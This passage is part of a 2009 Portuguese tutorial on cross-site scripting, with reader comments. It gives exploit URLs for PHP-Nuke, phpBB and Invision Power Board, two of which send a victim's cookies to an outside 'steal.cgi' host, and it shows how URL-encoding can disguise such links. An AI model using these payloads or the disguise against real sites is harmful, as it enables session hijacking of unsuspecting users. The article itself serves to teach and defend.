XSS - Cross Site Scripting

Ataques XSS estão se tornando um grande problema e piorarão ainda mais se as pessoas não tomarem conhecimento desse tipo de ataque e suas vulnerabilidades.

[ Hits: 82.985 ]

Por: Luiz Vieira em 02/04/2009 | Blog: http://hackproofing.blogspot.com/


Exemplos de exploits e vulnerabilidades XSS



Vulnerabilidades e exploits no PHP NUKE:

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=['http://freewebhost.com/ph33r/steal.cgi?'+document.cookie]

O exploit acima pode explorar uma vulnerabilidade no PHP Nuke, pois o arquivos modules.php falham em limpar a inserção de dados pelo usuário.

Vulnerabilidades e exploits em fóruns PHPBB:

http://localhost.com/phpBB2/login.php('http://freewebhost.com/ph33r/steal.cgi?'document.cookie)

O exploit acima é para uma vulnerabilidade HTTP Splitting em fóruns phpBB. HTTP Splitting é quando alguém injeta informações no cabeçalho HTTP. Novamente, se o programa php filtrasse os dados digitados pelo usuário, isso não seria permitido.

Invision Power Board:

http://[target]/index.php?act='><script>alert(document.cookie)</script>

O exploit acima é, obviamente o conceito mais básico de exploits, e tudo o que ele faz é exibir uma caixa de mensagem.

Esse exploit é para vulnerabilidades no IPB que permite que em suas versões mais antigas (<2.03) isso ocorra, pelo fato de não haver tratamento dos dados digitados.

Após vermos as vulnerabilidades acima, podemos perceber que ataques XSS podem ocorrer principalmente em sites onde os desenvolvedores falharam em tratar o código para fazer filtragem do que é digitado pelos usuários.

Codificando URLs de ataque

Codificar URLs de ataque é algo muito simples de fazer, bastando utilizar um programa específico para facilmente disfarçar um link malicioso em algo que não parece tão perigoso.

Usando o seguinte site:

http://ostermiller.org/calc/encode.html

Podemos transformar o seguinte link:

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=['http://freewebhost.com/ph33r/steal.cgi?'+document.cookie]

Neste outro:

http://localhost/nuke73/modules.php%3Fname%3DNews%26file%3Darticle%26sid%3D1%26optionbox%3D%5B%27http%3A//freewebhost.com/ph33r/steal.cgi%3F%27%2Bdocument.cookie%5D

Embora a URL possa ficar maior, essa codificação faz com a URL pareça menos arriscada ou perigosa para o usuário mediano. Codifiquei essa URL a partir do endereço mencionado acima.

Página anterior     Próxima página

Páginas do artigo
   1. Introdução
   2. Encontrando vulnerabilidade XSS
   3. Básico do XSS
   4. Exemplos de exploits e vulnerabilidades XSS
   5. Como posso proteger-me contra ataques XSS
Outros artigos deste autor

Forense em Máquinas Virtuais

Linux no Pendrive

SELinux - Security Enhanced Linux

Bypass de firewall com tunelamento por DNS

ARP Poisoning: compreenda os princípios e defenda-se

Leitura recomendada

Listar dados em MySQL utilizando PHP e AJAX (parte 1)

Jakarta JMeter - Testando o desempenho de seus sites

Web sites dinâmicos com Ajax + JSP + MySQL

W3C - World Wide Web Consortium

Por que o Javascript é ruim em matemática?

  
Comentários
[1] Comentário enviado por demoncyber em 02/04/2009 - 11:26h

Excelente artigo!

Muito interessante a abordagem aprofundada do assunto não aquilo que habitualmente se encontra na net de um a três paragrafos falando o que é e nem explicando como funcinoa..

Parabéns


[2] Comentário enviado por M.Bittencourt em 02/04/2009 - 11:46h

Parabéns pelo artigo.

[3] Comentário enviado por dastyler em 02/04/2009 - 14:30h

artigo muito bom.
A ultima vez que li a respeito de documentação sobre XSS foi um artigo na Linux Magazine.
Parabens!

[]´s

[4] Comentário enviado por Douglas_Martins em 02/04/2009 - 17:56h

Muito bom mesmo.

Parabéns pelo artigo. Muito bem explicado e de forma direta no assunto.

[]'s

[5] Comentário enviado por gersonraymond em 03/04/2009 - 07:15h

Parabéns !!!

Artigo muito bem explicado, show de bola !!!

Um abraço.

[6] Comentário enviado por cassimirinho em 04/04/2009 - 13:24h

Bom, muito bom.

[7] Comentário enviado por psychokill3r em 06/04/2009 - 23:52h

concordo que é muito bom esse artigo ,até o coloquei nos favoritos (me deve 100 pontos) to brincando.

mais não vi soluções para administradores de sites , ou seja não usar php nuke ou Invision Power Board esta fora de questão.

se alguem quiser brincar um pouco com xss baixe a extensão para firefox "xss me" que faz vários testes no site q você quiser .

e para não se dar mal em algum site que já foi injetado códigos você deve ter a extensão "script block".
mandar o firefox limpar cokkies e histórico ao sair sem perguntar também é uma boa ideia.

valeuw
obrigado ao autor e espero mais artigos do tipo.

xss-me
sql inject-me
access-me

exemplo de ataque dessa vez ao twitter
http://pcmag.uol.com.br/conteudo.php?id=1355

[8] Comentário enviado por wagner.elias em 22/04/2009 - 11:53h

Parabéns por compartilhar conteúdo, mas permita-me esclarecer alguns pontos onde você se equivocou.

1 - No início você trata XSS (Cross Site Scripting) como CSRF (Cross Site Request Forgery). Uma coisa é um XSS que irá executar código javascript no cliente (XSS é um ataque client-side), outra coisa é o CSRF que tem o XSS como vetor e consiste em executar ações baseado nas credenciais do usuário que está sendo explorado;

2 - Outro equívoco grande foi referente aos tipos de XSS, existem 3 tipos de XSS:

a) Refletido - Quando o XSS é executado, explorado quando o usuário abre uma URL, página que contém um script injetado;
b) Armazenado - Quando o atacante consegue inserir um XSS na aplicação e ele irá ser armazenado na base dados, quando o usuário chamar a página;
c) DOM Based - É o XSS que explora objetos DOM (Document Object Model).

Quanto o tratamento, basicamente o XSS explora inputs que não são adequadamente validados, portanto para mitigar é necessário tratar os dados que você recebe em cada input. Mais detalhes podem ser vistos aqui: http://www.owasp.org/index.php/Cross_site_scripting

Quem quiser trocar informação sobre o tema segurança em aplicações web, estou a disposição. Uma excelente fonte de informação é o site da OWASP (Open Web Application Security Project - http://www.owasp.org), quem quiser conhecer o capítulo brasileiro, só entrar em contato e/ou assinar a lista de discussão: http://www.owasp.org/index.php/Brazilian

Abs.

[9] Comentário enviado por luizvieira em 22/04/2009 - 12:44h

Olá Wagner, preferi não abordar o CSRF, apenas coloquei algumas funcionalidades que o XSS possui semelhantes ao CSRF (apesar do CSRF ser mais amplo e permitir uma gama maior de execuções maliciosas além de outras possibilidades ).

Quanto as classificações, realmente equivoquei-me ao explicá-las. Expliquei o primeiro tipo, "refletido", porém sem utilizar a terminologia que vc utiliza, assim como o segundo tipo. Quanto ao terceiro tipo, é justo aí que o equívoco encontra-se, obrigado por esclarecer esse aspecto :-)

Utilizo a metodologia OWASP quando faço análise de vulnrabildiades em aplicações WEB, pois considero-a de todas as metodologias, a mais eficiente e bem organizada. Para um pen testing, na parte WEB é justamente essa que utilizo. Obrigado pelo convite à todos, para participar da lista de discussão!

[ ]'s

[10] Comentário enviado por fabio1049 em 17/06/2009 - 15:39h

Muito bom artigo, parabéns.
Eu ainda fiquei na dúvida sobre procedimentos para evitar o ataque no servidor remoto. Sou administrador de um site que vem sofrendo esse tipo de ataque. De uma hora para outra o arquivo index é alterado, é colocado um javascript malicioso ou um iframe com um link desconhecido. Eu não consigo identificar onde está a vulnerabilidade, já que essa pagina é um html com apenas um swf no conteúdo.

[11] Comentário enviado por luizvieira em 22/06/2009 - 16:01h

Olá Fábio,
O ideal é levantar algumas questões acerca do site que administra e o servidor onde stá hospedado:
- O site é html puro ou baseado em alguma linguagem dinâmica? Se é a segunda opção, utiliza algum CMS? Se sim, há vulnerabilidades que ainda não corrigiu com atualizações?
- Se baseado em linguagem dinâmica e BD no servidor, há um tratamento adequado contra SQL injection? Muitas vezes javascripts maliciosos entram nos conteúdos via SQL Injection...
- Há algum script ou arquivo estranho no seu servidor ftp? Muitas vezes alguém implanta um script que dá acesso ao servidor FTP (muita gente ainda salva o arquivo com o nome de C99.algumacoisa, mas isso não é regra). Faça uma limpeza no seu FTp pra ver se tem algo estranho, que vc não tenha criado, ou simplesmente não vá mais utilizar e remova.
- Qual o nível de segurança e a preocupação com o assunto do servidor onde seu site está hospedado? Alguns não ligam muito pra isso, mas depois do ataque isso faz uma difereeeeeennnnnnça....rs.

Essas já são algumas questões que precisa responder pra diminuir os riscos de ataques. Há outras, obviamente, mas essas já são o início.
[ ]'s

[12] Comentário enviado por ricardolongatto em 10/01/2012 - 23:53h

execelente
abraço luiz


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts